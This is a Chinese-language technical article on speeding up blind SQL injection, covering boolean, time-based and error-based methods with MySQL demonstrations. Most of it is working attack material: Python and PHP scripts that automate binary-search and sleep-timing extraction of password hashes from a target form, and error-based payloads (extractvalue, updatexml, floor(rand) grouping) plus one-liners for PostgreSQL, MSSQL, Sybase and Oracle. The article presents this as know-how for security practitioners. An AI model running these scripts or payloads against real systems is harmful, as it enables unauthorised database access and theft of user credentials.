详解SQL盲注测试高级技巧
写在前面:
这篇文章主要写了一些加快盲注速度的技巧和盲注中比较精巧的语句,虽然注入并不是什么新技术了。但是数据库注入漏洞依然困扰着每一个安全厂商,也鞭策着每一个安全从业者不断前进。
正文:
首先来简单介绍一下盲注,盲注是不能通过直接显示的途径来获取数据库数据的方法。在盲注中,攻击者根据其返回页面的不同来判断信息(可能是页面内容的不同,也可以是响应时间不同)。一般情况下,盲注可分为三类。
Booleanbase Timebase Errorbase
其中第一类Boolean就是我们最常接触到的普通盲注。
比如在where语句中可以构造or 1=1来使返回页面不同。(这里用mysql演示一下,大家体会就好)
mysql> select 123 from dual where 1=1; +-----+ | 123 | +-----+ | 123 | +-----+ 1 row in set (0.00 sec) mysql> select 123 from dual where 1=0; Empty set (0.00 sec)
如果注入点在order by后面,那么则可以使用判断语句来构造报错。(其实order by后面的注入也可以根据返回结果的顺序来判断,这里自由发挥就好:P)
mysql> select 1 from te order by if(1,1,(select 1 union select 2)) limit 0,3; +---+ | 1 | +---+ | 1 | | 1 | | 1 | +---+ 3 rows in set (0.00 sec) mysql> select 1 from te order by if(0,1,(select 1 union select 2)) limit 0,3; ERROR 1242 (21000): Subquery returns more than 1 row
基于时间的盲注的话,mysql主要涉及两个函数,sleep banchmark 基本是使用如下。
mysql> select 1 from te where if(1=1,sleep(1),1) limit 0,1; Empty set (27.00 sec) mysql> select 1 from te where if(1=2,sleep(1),1) limit 0,1; +---+ | 1 | +---+ | 1 | +---+ 1 row in set (0.00 sec)
基于报错的盲注,需要网站显示数据库报错信息,后面会有详细阐述。
知道了怎么判断ture or false之后就是获取数据了,当然你可以暴力测试每一个ascii码,不过这需要很多次尝试,如果你家正巧网速不好那么速度将会是十分缓慢的。
拿32位hash为例,暴力猜解的话许要 16*32=512次查询(因为hash一般是16进制,只有16种可能)。如果是一段包含大小写字母和特殊字符的32位字符串那?大概需要 72*32=2304次查询,这就比较多了。想要减少盲注查询的次数,一般会用到如下几种方法。
字频统计:
根据英文中字母出现的频率进行猜测,这种方法仅局限于用户名这样有意义的字符串,并不能应用于hash这样的无规律字符串。而且仅限于纯字母的猜测。 wiki百科上有字母使用频率的统计。
那么根据字频统计,e出现的概率最高,a其次,那我们就先猜测e,再猜测a。更近一步,我们可以使用双字的字频来进一步提高效率,比如th在英文中出现的概率很高。那么在第一个字母是t之后,我们下个字符第一个猜测h。
ps.这种方法的效率有多高哪?只能说看脸。
二分查找,位运算法:
把他们两个放在一起是因为他们的作用是相同的都会把试探字符串的次数降低到log(n)*length (n为可能字符的数量)。
首先来说二分查找,它的原理是把可能出现的字符看做一个有序的序列,这样在查找所要查找的元素时,首先与序列中间的元素进行比较,如果大于这个元素,就在当前序列的后半部分继续查找,如果小于这个元素,就在当前序列的前半部分继续查找,直到找到相同的元素,或者所查找的序列范围为空为止。
使用而返查找确定一个hash散列的一位,只需要4次查询(2^4=16),也就是说确定一个32位hash,只需要126次请求,大大缩短了查询的次数。
这里给出一个二分查找的pyhton源代码
import urllib import urllib2 def doinject(payload): url = 'xxxxxxxxxxxxxxxxxxxxx' values = {'injection':payload,'inject':'Inject'} data = urllib.urlencode(values) #print data req = urllib2.Request(url, data) req.add_header('cookie','xx=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx') response = urllib2.urlopen(req) the_page = response.read() if (the_page.find("Welcome back")>0): return True else: return False wordlist = "0123456789ABCDEF" res = "" for i in range(1,33): s=0 t=15 while (s<t): if (t-s==1): if doinject('\' or substring(password,'+str(i)+',1)=\''+wordlist[t]+'\' -- LanLan'): m=t break else: m=s break m=(s+t)/2 if doinject('\' or substring(password,'+str(i)+',1)>\''+wordlist[m]+'\' -- LanLan'): s=m+1 print wordlist[s]+":"+wordlist[t] else: t=m print wordlist[s]+":"+wordlist[t] res = res+wordlist[m] print res
这里还有使用正则表达式来进行二分查找的php实现
$sUrl = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'; $sPost = 'inject=Inject&injection='; $sCharset = 'ABCDEF0123456789'; /* for every character */ for ($i=0, $hash=''; $i<32; ++$i) { $ch = $sCharset; do { $ch1 = substr($ch, 0, intval(strlen($ch)/2)); $ch2 = substr($ch, intval(strlen($ch)/2)); $p = $sPost.'absolutelyimpossible\' OR 1=(SELECT 1 FROM blight WHERE password REGEXP \'^'.$hash.'['.$ch1.']\' AND sessid=xxx) AND \'1\'=\'1'; $res = libHTTP::POST($sUrl, $p); if (strpos($res['content'], 'Your password is wrong') === false) $ch = $ch1; else $ch = $ch2; } while (strlen($ch) > 1); $hash .= $ch; echo "\rhash: ".$hash; }
ps:上面的代码都是针对32位hash的盲注
再说位运算,它的原理是每次请求确定二进制的一位,对于ascii码连续的区间时间复杂度为log(n)*length,所以相对于二分查找,它应用起来比较有局限性。
mysql中位运算的与运算是&,我们主要用它来进行猜测,比如a的ascii码是1100001,那么我们可以使用1,2,4,8,16…..依次与他进行与运算,最终得到结果。
mysql> select ord('a') & 1; +--------------+ | ord('a') & 1 | +--------------+ | 1 | +--------------+ 1 row in set (0.00 sec) mysql> select ord('a') & 2; +--------------+ | ord('a') & 2 | +--------------+ | 0 | +--------------+ 1 row in set (0.00 sec) mysql> select ord('a') & 4; +--------------+ | ord('a') & 4 | +--------------+ | 0 | +--------------+ 1 row in set (0.00 sec)
基于时间的盲注:
上面的方法,都是通过返回页面的不同来获取信息,所以理论上来说每次,最多只能确定一个二进制位(true or false)。但是,在盲注过程中还有一个重要的因素可以帮助我们获取信息,那就是页面返回时间的长短。通过如下的语句,我们可以通过一次请求确定一个字符的ascii码。如果是一串32位的hash,那么只需要32次请求,即可得到答案。
' or sleep(ord(substr(password,1,1))) --
利用语句一般可以写成这样
mysql> select sleep(find_in_set(mid(@@version, 1, 1), '0,1,2,3,4,5,6,7,8,9,.')); 1 row in set (6.00 sec) mysql> select sleep(find_in_set(mid(@@version, 2, 1), '0,1,2,3,4,5,6,7,8,9,.')); 1 row in set (11.00 sec)
推荐使用,sleep而不要使用benchmark,因为sleep不会占用cpu而且比较稳定。
下面给出一个针对32位hash的盲注算法
import urllib import urllib2 import socket from time import time socket.setdefaulttimeout(1000000) def doinject(payload): url = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx' values = {'injection':payload,'inject':'Inject'} data = urllib.urlencode(values) #print data req = urllib2.Request(url, data) req.add_header('cookie','xx=xxxxxxxxxxxxxxxxxxxxxxxxxxxx') start = time() response = urllib2.urlopen(req) end = time() #print response.read() index = int(end-start) print 'index:'+ str(index) print 'char:' + wordlist[index-1] return index wordlist = "0123456789ABCDEF" res = "" for i in range(1,34): num = doinject('\' or sleep( find_in_set(substring(password, '+str(i)+', 1), \'0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F\')) -- LanLan') res = res+wordlist[num-1] print res
这里还有注意一点,sleep在where语句中会被计算多次,在实际应用中需要根据表中的记录数,做相应的处理。
比如有一个2个记录的表
select count(*) from test; +----------+ | count(*) | +----------+ | 2 | +----------+
如果直接查询,因为两个记录都会引发查询所以会触发两次sleep()延迟12秒
select * from test where sleep(locate(mid(@@version, 1, 1), '0123456789.')); Empty set (12.00 sec)
这里在前面使用一个条件语句,因为and前面的表达式如果为false则后面的不执行,所以sleep执行一次,延迟6秒
select * from test where a=1 and sleep(locate(mid(@@version, 1, 1), '0123456789.')); Empty set (6.00 sec)
ps.这种方法很怕网络不稳定。
基于报错的盲注:
如果页面上显示数据的报错信息,那么可以直接使用报错的方式把想要的信息爆出来。
比如在mysql中我们可以使用如下的经典语句进行报错。
select 1,2 union select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;
这是网上流传很广的一个版本,可以简化成如下的形式。
select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))
如果关键的表被禁用了,可以使用这种形式
select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2))
如果rand被禁用了可以使用用户变量来报错
select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)
其实这是mysql的一个 bug所引起的,其他数据库都不会因为这个问题而报错。
另外,在mysql5.1版本新加入两个xml函数,也可以用来报错。
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1))); ERROR 1105 (HY000): XPATH syntax error: '\admin888' mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,(select pass from admin limit 1),0x5e24),1)); ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
而在其他数据库中也可以使用不同的方法构成报错
PostgreSQL: /?param=1 and(1)=cast(version() as numeric)-- MSSQL: /?param=1 and(1)=convert(int,@@version)-- Sybase: /?param=1 and(1)=convert(int,@@version)-- Oracle >=9.0: /?param=1 and(1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select replace(banner,chr(32),chr(58)) from sys.v_$version where rownum=1)||chr(62))) from dual)--
参考文献:
METHODS OF QUICK EXPLOITATION OF BLIND SQL INJECTION
Indexed Blind SQL Injection